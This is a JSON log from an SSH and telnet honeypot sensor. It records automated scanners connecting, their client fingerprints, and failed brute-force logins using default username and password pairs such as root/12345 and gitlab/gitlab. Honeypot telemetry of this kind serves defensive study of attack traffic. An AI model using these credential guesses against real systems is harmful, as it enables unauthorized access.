{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:44.897618Z","src_ip":"176.65.132.129","session":"d0c3571f8e7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:45.145489Z","src_ip":"176.65.132.129","session":"d0c3571f8e7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":56996,"dst_ip":"10.17.0.5","dst_port":23,"session":"767933121abd","protocol":"telnet","message":"New connection: 45.58.127.90:56996 (10.17.0.5:23) [session: 767933121abd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:45.526798Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:46.233564Z","src_ip":"176.65.132.129","session":"d0c3571f8e7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":57002,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebdf135b3513","protocol":"telnet","message":"New connection: 45.58.127.90:57002 (10.17.0.5:23) [session: ebdf135b3513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:46.325084Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.245.96.245","src_port":54590,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbcbbc10cd08","protocol":"telnet","message":"New connection: 195.245.96.245:54590 (159.203.135.109:23) [session: cbcbbc10cd08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:47.822971Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42322,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fa478986a7b","protocol":"ssh","message":"New connection: 176.65.132.129:42322 (159.203.135.109:22) [session: 9fa478986a7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:48.150552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:48.154866Z","src_ip":"176.65.132.129","session":"9fa478986a7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:48.235918Z","src_ip":"176.65.132.129","session":"9fa478986a7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uploader","password":"uploader","message":"login attempt [uploader/uploader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:48.483702Z","src_ip":"176.65.132.129","session":"9fa478986a7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":43596,"dst_ip":"159.203.135.109","dst_port":22,"session":"01c55bfe4943","protocol":"ssh","message":"New connection: 172.237.20.62:43596 (159.203.135.109:22) [session: 01c55bfe4943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:49.071251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:49.075782Z","src_ip":"172.237.20.62","session":"01c55bfe4943","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:49.241114Z","src_ip":"172.237.20.62","session":"01c55bfe4943","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:49.567776Z","src_ip":"176.65.132.129","session":"9fa478986a7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:49.723982Z","src_ip":"172.237.20.62","session":"01c55bfe4943","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53096,"dst_ip":"10.17.0.5","dst_port":23,"session":"356d5800fd0c","protocol":"telnet","message":"New connection: 45.58.127.90:53096 (10.17.0.5:23) [session: 356d5800fd0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:50.337010Z"}
{"eventid":"cowrie.session.closed","duration":120.00126147270203,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:50.412686Z","src_ip":"195.245.96.245","session":"93caa1c9cb8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53086,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3013f027de8","protocol":"telnet","message":"New connection: 45.58.127.90:53086 (10.17.0.5:23) [session: b3013f027de8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:50.680496Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:50.887421Z","src_ip":"172.237.20.62","session":"01c55bfe4943","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42330,"dst_ip":"159.203.135.109","dst_port":22,"session":"080750c433f4","protocol":"ssh","message":"New connection: 176.65.132.129:42330 (159.203.135.109:22) [session: 080750c433f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:51.395363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:51.399931Z","src_ip":"176.65.132.129","session":"080750c433f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:51.481565Z","src_ip":"176.65.132.129","session":"080750c433f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab","message":"login attempt [gitlab/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:51.732211Z","src_ip":"176.65.132.129","session":"080750c433f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.245.96.245","src_port":1785,"dst_ip":"159.203.135.109","dst_port":23,"session":"2720a54b554b","protocol":"telnet","message":"New connection: 195.245.96.245:1785 (159.203.135.109:23) [session: 2720a54b554b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:52.456720Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:52.834874Z","src_ip":"176.65.132.129","session":"080750c433f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.245.96.245","src_port":15196,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ef48183cab8","protocol":"telnet","message":"New connection: 195.245.96.245:15196 (159.203.135.109:23) [session: 8ef48183cab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:54.519732Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42346,"dst_ip":"159.203.135.109","dst_port":22,"session":"edae317d5351","protocol":"ssh","message":"New connection: 176.65.132.129:42346 (159.203.135.109:22) [session: edae317d5351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:54.567491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:54.573306Z","src_ip":"176.65.132.129","session":"edae317d5351","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:54.656479Z","src_ip":"176.65.132.129","session":"edae317d5351","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:54.903876Z","src_ip":"176.65.132.129","session":"edae317d5351","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:55.989054Z","src_ip":"176.65.132.129","session":"edae317d5351","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46710,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2535640af8f","protocol":"ssh","message":"New connection: 176.65.132.129:46710 (159.203.135.109:22) [session: a2535640af8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:57.987926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:57.996668Z","src_ip":"176.65.132.129","session":"a2535640af8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:58.078464Z","src_ip":"176.65.132.129","session":"a2535640af8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kubernetes","password":"kubernetes","message":"login attempt [kubernetes/kubernetes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:58.324208Z","src_ip":"176.65.132.129","session":"a2535640af8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:50:59.408610Z","src_ip":"176.65.132.129","session":"a2535640af8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":37494,"dst_ip":"159.203.135.109","dst_port":22,"session":"89102be468b0","protocol":"ssh","message":"New connection: 172.237.20.62:37494 (159.203.135.109:22) [session: 89102be468b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:00.024091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:00.029726Z","src_ip":"172.237.20.62","session":"89102be468b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:00.192359Z","src_ip":"172.237.20.62","session":"89102be468b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:00.682116Z","src_ip":"172.237.20.62","session":"89102be468b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46728,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c097eca2151","protocol":"ssh","message":"New connection: 176.65.132.129:46728 (159.203.135.109:22) [session: 2c097eca2151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:01.228844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:01.233237Z","src_ip":"176.65.132.129","session":"2c097eca2151","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:01.320045Z","src_ip":"176.65.132.129","session":"2c097eca2151","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang123","message":"login attempt [wang/wang123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:01.568059Z","src_ip":"176.65.132.129","session":"2c097eca2151","protocol":"ssh"}
